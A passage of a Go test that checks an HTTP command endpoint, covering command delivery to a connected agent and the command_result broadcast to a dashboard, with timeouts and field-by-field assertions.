t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String()) } var httpBody map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &httpBody); err != nil { t.Fatal(err) } if httpBody["success"] != true { t.Fatalf("expected success=true, got %v", httpBody) } if httpBody["action"] != testAction { t.Fatalf("http action: got %v, want %s", httpBody["action"], testAction) } select { case r := <-agentCmdCh: if r.err != "" { t.Fatalf("agent did not receive command: %s", r.err) } if r.cmd.Type != "command" { t.Fatalf("agent expected command, got %q", r.cmd.Type) } var payload map[string]interface{} if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil { t.Fatal(err) } if payload["action"] != testAction { t.Errorf("agent command action: got %v, want %s", payload["action"], testAction) } if payload["command"] != testCommand { t.Errorf("agent command: got %v, want %s", payload["command"], testCommand) } case <-time.After(5 * time.Second): t.Fatal("timed out waiting for agent command") } select { case r := <-cmdResultCh: if r.err != "" { t.Fatalf("dashboard did not receive command_result: %s", r.err) } if r.body["agent_id"] != agentID { t.Errorf("dashboard agent_id: got %v, want %s", r.body["agent_id"], agentID) } if r.body["action"] != testAction { t.Errorf("dashboard action: got %v, want %s", r.body["action"], testAction) } if r.body["message"] != resultMessage { t.Errorf("dashboard message: got %v, want %q", r.body["message"], resultMessage) } if r.body["success"] != true { t.Errorf("dashboard success: got %v, want true", r.body["success"]) } case <-time.After(5 * time.Second): t.Fatal("timed out waiting for command_result broadcast") } }